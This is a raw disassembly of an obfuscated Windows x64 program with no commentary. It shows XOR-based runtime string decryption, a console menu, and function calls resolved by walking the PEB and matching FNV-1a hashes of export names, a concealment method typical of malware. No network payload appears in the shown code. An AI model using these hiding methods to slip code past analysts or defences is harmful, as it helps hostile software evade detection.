movzx eax, word [0x1400a2a98]
mov word [rsp + 0x20], ax
cmp byte [0x1400a2a99], 0
je 0x140024b0b
mov byte [rsp + 0x20], 0x5d
xor byte [rsp + 0x21], 0x33
lea rdx, [rsp + 0x20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002a370
mov rax, qword [0x1400a68e8]
mov qword [rsp + 0x20], rax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x140024c93
cmp r13d, 2
jl 0x140024c49
movdqa xmm4, xmmword [0x1400a7810]
movd xmm6, r14d
movd xmm5, r15d
movdqa xmm2, xmmword [0x1400a76a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a76c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
mov eax, dword [str.22222222222222222:65_39_04_q_fi_]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x20]
xorps xmm2, xmm1
movd dword [rsp + 0x20], xmm2
movdqa xmm3, xmmword [0x1400a76b0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a76c0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x24]
xorps xmm2, xmm1
movd dword [rsp + 0x24], xmm2
jmp 0x140024c93
lea r9, [rsp + 0x20]
mov r8d, r12d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140024c60
lea rdx, [rsp + 0x20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002a370
movsd xmm0, qword [0x1400a3688]
movsd qword [rbp - 0x60], xmm0
movzx eax, word [0x1400a3690]
mov word [rbp - 0x58], ax
cmp byte [0x1400a3691], 0
je 0x140024ced
mov byte [rbp - 0x60], 9
xor byte [rbp - 0x5f], 0x33
xor byte [rbp - 0x5e], 0x34
xor byte [rbp - 0x5d], 0x35
xor byte [rbp - 0x5c], 0x36
xor byte [rbp - 0x5b], 0x37
xor byte [rbp - 0x5a], 0x38
xor byte [rbp - 0x59], 0x39
xor byte [rbp - 0x58], 0x3a
xor byte [rbp - 0x57], 0x3b
lea rdx, [rbp - 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002a370
call fcn.140003c20
movzx eax, word [0x1400a48c0]
mov word [rsp + 0x20], ax
cmp byte [0x1400a48c1], 0
je 0x140024d21
mov byte [rsp + 0x20], 0x34
xor byte [rsp + 0x21], 0x33
lea rdx, [rsp + 0x20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002a370
call fcn.140003be0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, word [0x1400a2a98]
mov word [rsp + 0x20], ax
lea rdx, [rsp + 0x20]
cmp byte [0x1400a2a99], 0
je 0x140024d62
mov byte [rsp + 0x20], 0x5d
xor byte [rsp + 0x21], 0x33
call fcn.14002a370
mov eax, dword [0x1400a40e8]
mov dword [rsp + 0x70], eax
movzx eax, word [0x1400a40ec]
mov word [rsp + 0x74], ax
movzx eax, byte [0x1400a40ee]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rsp + 0x70], reloc.WLDAP32.dll_Ordinal_32
xor byte [rsp + 0x71], 0x33
xor byte [rsp + 0x72], 0x34
xor byte [rsp + 0x73], 0x35
xor byte [rsp + 0x74], 0x36
xor byte [rsp + 0x75], 0x37
xor al, 0x38
mov byte [rsp + 0x76], al
lea rdx, [rsp + 0x70]
call fcn.14002a370
movups xmm0, xmmword [0x1400a4108]
movups xmmword [rsp + 0x20], xmm0
movsd xmm0, qword [0x1400a4118]
movsd qword [rsp + 0x30], xmm0
movzx eax, word [0x1400a4120]
mov word [rsp + 0x38], ax
cmp byte [0x1400a4121], 0
je 0x140024f7e
mov ecx, r12d
cmp r13d, 2
jl 0x140024f3b
movdqa xmm5, xmmword [0x1400a76a0]
movdqa xmm4, xmmword [0x1400a7810]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a76c0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.22222222222222222:65_39_04_q_fi_]
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x24]
mov r8d, dword [rsp + 0x50]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x18
jl 0x140024e33
cmp ecx, 0x1a
jge 0x140024f7e
movsxd rax, ecx
lea r8, [rsp + 0x20]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x32
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x1a
jl 0x140024f50
lea rdx, [rsp + 0x20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002a370
call fcn.140003b60
movzx eax, word [0x1400a5f20]
mov word [rsp + 0x20], ax
cmp byte [0x1400a5f21], 0
je 0x140024fb3
mov byte [rsp + 0x20], 0x3e
xor byte [rsp + 0x21], 0x33
lea rdx, [rsp + 0x20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002a370
call fcn.140003be0
movzx eax, word [0x1400a2a98]
mov word [rsp + 0x20], ax
cmp byte [0x1400a2a99], 0
je 0x140024fe8
mov byte [rsp + 0x20], 0x5d
xor byte [rsp + 0x21], 0x33
lea rdx, [rsp + 0x20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002a370
movsd xmm0, qword [0x1400a40d8]
movsd qword [rbp - 8], xmm0
mov eax, dword [0x1400a40e0]
mov dword [rbp], eax
movzx eax, word [0x1400a40e4]
mov word [rbp + 4], ax
cmp byte [0x1400a40e5], 0
je 0x14002517e
mov ecx, r12d
cmp r13d, 2
jl 0x140025140
movdqa xmm4, xmmword [0x1400a7810]
movd xmm6, r14d
movd xmm5, r15d
movdqa xmm2, xmmword [0x1400a76a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a76c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
mov eax, dword [str.22222222222222222:65_39_04_q_fi_]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400a40d8]
xorps xmm2, xmm0
movd dword [rbp - 8], xmm2
movdqa xmm3, xmmword [0x1400a76b0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a76c0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 4]
xorps xmm2, xmm1
movd dword [rbp - 4], xmm2
mov ecx, 8
movsxd rax, ecx
lea r8, [rbp - 8]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x32
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xe
jl 0x140025150
lea rdx, [rbp - 8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002a370
movzx edx, bl
lea rcx, [rbp + 0x120]
call fcn.140002830
lea rcx, [rbp + 0x120]
call fcn.140008c20
nop
movzx edx, dil
lea rcx, [rbp + 0x100]
call fcn.140002830
lea rcx, [rbp + 0x100]
call fcn.140008c20
nop
movzx edx, sil
lea rcx, [rbp + 0xe0]
call fcn.140002830
lea rcx, [rbp + 0xe0]
call fcn.140008c20
nop
lea rdx, [rbp + 0xc0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov ecx, dword [rbp + 0xc0]
sub ecx, 1
je 0x140027717
sub ecx, 1
je 0x1400259c7
sub ecx, 1
jne 0x1400296a4
mov eax, dword [str.Q_G5_vs]
mov dword [rsp + 0x20], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r15d, dword [rcx + r10 + 0x88]
add r15, r10
cmp r15, r10
je 0x1400252b6
mov r9d, dword [r15 + 0x18]
test r9d, r9d
je 0x1400252b6
mov r14d, dword [r15 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r14 + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400252b1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140025290
cmp r8d, 0x491e0a9c
je 0x1400252bb
test r9d, r9d
jne 0x140025270
mov rax, qword [rax]
jmp 0x140025240
mov ecx, dword [r15 + 0x1c]
add rcx, r10
mov eax, dword [r15 + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r13d, 2
jl 0x140025377
movdqa xmm3, xmmword [0x1400a76a0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400a7810]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400a7810]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
mov r14d, 5
movd xmm0, r14d
psrad xmm2, xmm0
mov r15d, Ordinal_33
movd xmm0, r15d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400a76c0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.22222222222222222:65_39_04_q_fi_]
movd xmm0, dword [rsp + 0x20]
xorps xmm2, xmm0
movd dword [rsp + 0x20], xmm2
jmp 0x1400253bd
lea r9, [rsp + 0x20]
mov r8d, r12d
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140025380
mov r14d, 5
lea r15d, [r14 + 0x1a]
lea rcx, [rsp + 0x20]
call r11
mov rax, qword [str.aguacd29]
mov qword [rsp + 0x20], rax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x140025533
cmp r13d, 2
jl 0x1400254f2
movdqa xmm4, xmmword [0x1400a7810]
movd xmm6, r14d
movd xmm5, r15d
movdqa xmm2, xmmword [0x1400a76a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a76c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
mov eax, dword [str.22222222222222222:65_39_04_q_fi_]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x20]
xorps xmm2, xmm1
movd dword [rsp + 0x20], xmm2
movdqa xmm3, xmmword [0x1400a76b0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a76c0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x24]
xorps xmm2, xmm1
movd dword [rsp + 0x24], xmm2
jmp 0x140025533
lea r9, [rsp + 0x20]
mov r8d, r12d
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140025500
lea rdx, [rsp + 0x20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002a370
movzx eax, word [0x1400a28c4]
mov word [rsp + 0x20], ax
cmp byte [0x1400a28c5], 0
je 0x140025563
mov byte [rsp + 0x20], 0xa
xor byte [rsp + 0x21], 0x33
lea rdx, [rsp + 0x20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002a370
call fcn.140003b20
movups xmm0, xmmword [str.bvfx_f]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400a56a0]
movups xmmword [rbp - 0x30], xmm1
movzx eax, word [0x1400a56b0]
mov word [rbp - 0x20], ax
movzx eax, byte [0x1400a56b2]
mov byte [rbp - 0x1e], al
mov ecx, r12d
cmp r13d, 2
jl 0x1400256f8
movdqa xmm5, xmmword [0x1400a76a0]
movdqa xmm4, xmmword [0x1400a7810]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a76c0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.22222222222222222:65_39_04_q_fi_]
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rbp - 0x3c]
mov r8d, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x1400255f0
cmp ecx, 0x23
jge 0x140025730
movsxd rax, ecx
lea r8, [rbp - 0x40]
add r8, rax
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x32
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x23
jl 0x140025702
lea rdx, [rbp - 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002a370
call fcn.140003c20
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r15d, dword [rcx + r10 + 0x88]
add r15, r10
cmp r15, r10
je 0x1400257d6
mov r9d, dword [r15 + 0x18]
test r9d, r9d
je 0x1400257d6
mov r14d, dword [r15 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + r14]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400257d1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400257b0
cmp r8d, 0x2fa62ca8
je 0x1400257db
test r9d, r9d
jne 0x140025790
mov rax, qword [rax]
jmp 0x140025760
mov ecx, dword [r15 + 0x1c]
add rcx, r10
mov eax, dword [r15 + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x9c4
call rdx
mov eax, dword [str.Q_G5_vs]
mov dword [rsp + 0x20], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r15d, dword [rcx + r10 + 0x88]
add r15, r10
cmp r15, r10
je 0x140025896
mov r9d, dword [r15 + 0x18]
test r9d, r9d
je 0x140025896
mov r14d, dword [r15 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + r14]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140025891
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140025870
cmp r8d, 0x491e0a9c
je 0x14002589b
test r9d, r9d
jne 0x140025850
mov rax, qword [rax]
jmp 0x140025820
mov ecx, dword [r15 + 0x1c]
add rcx, r10
mov eax, dword [r15 + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r13d, 2
jl 0x140025957
mov eax, dword [str.Q_G5_vs]
mov dword [rsp + 0x20], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r15d, dword [rcx + r10 + 0x88]
add r15, r10
cmp r15, r10
je 0x140025a66
mov r9d, dword [r15 + 0x18]
test r9d, r9d
je 0x140025a66
mov r14d, dword [r15 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + r14]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140025a61
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140025a40
cmp r8d, 0x491e0a9c
je 0x140025a6b
test r9d, r9d
jne 0x140025a20
mov rax, qword [rax]
jmp 0x1400259f0
mov ecx, dword [r15 + 0x1c]
add rcx, r10
mov eax, dword [r15 + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r13d, 2
jl 0x140025b23
movdqa xmm3, xmmword [0x1400a76a0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400a7810]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400a7810]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
mov eax, 5
movd xmm0, eax
psrad xmm2, xmm0
mov eax, Ordinal_33
movd xmm0, eax
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400a76c0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.22222222222222222:65_39_04_q_fi_]
movd xmm0, dword [rsp + 0x20]
xorps xmm2, xmm0
movd dword [rsp + 0x20], xmm2
jmp 0x140025b63
lea r9, [rsp + 0x20]
mov r8d, r12d
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140025b30
lea rcx, [rsp + 0x20]
call r11
call fcn.140003ae0
movups xmm0, xmmword [0x1400a57a0]
movups xmmword [rsp + 0x20], xmm0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r15d, dword [rcx + r10 + 0x88]
add r15, r10
cmp r15, r10
je 0x140025c06
mov r9d, dword [r15 + 0x18]
test r9d, r9d
je 0x140025c06
mov r14d, dword [r15 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + r14]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140025c01
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140025be0
cmp r8d, 0x491e0a9c
je 0x140025c0b
test r9d, r9d
jne 0x140025bc0
mov rax, qword [rax]
jmp 0x140025b90
mov ecx, dword [r15 + 0x1c]
add rcx, r10
mov eax, dword [r15 + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r13d, 2
jl 0x140025d85
movdqa xmm5, xmmword [0x1400a76a0]
mov edx, r12d
movdqa xmm4, xmmword [0x1400a7810]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [0x1400a76c0]
mov eax, Ordinal_33
movd xmm8, eax
movdqa xmm0, xmmword [str.22222222222222222:65_39_04_q_fi_]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x24]
mov r8d, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x140025c80
jmp 0x140025dc3
lea r9, [rsp + 0x20]
